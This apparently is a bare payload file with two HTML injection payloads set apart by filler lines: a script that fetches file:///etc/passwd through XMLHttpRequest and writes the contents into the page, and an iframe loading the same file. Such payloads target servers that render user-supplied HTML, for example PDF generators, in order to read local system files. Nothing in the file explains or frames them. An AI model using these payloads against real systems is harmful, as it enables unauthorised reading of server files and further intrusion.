zzzzzzzzzzzz
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
zzzzzzzzzzzz
<iframe src="file:///etc/passwd">
zzzzzzzzzzzz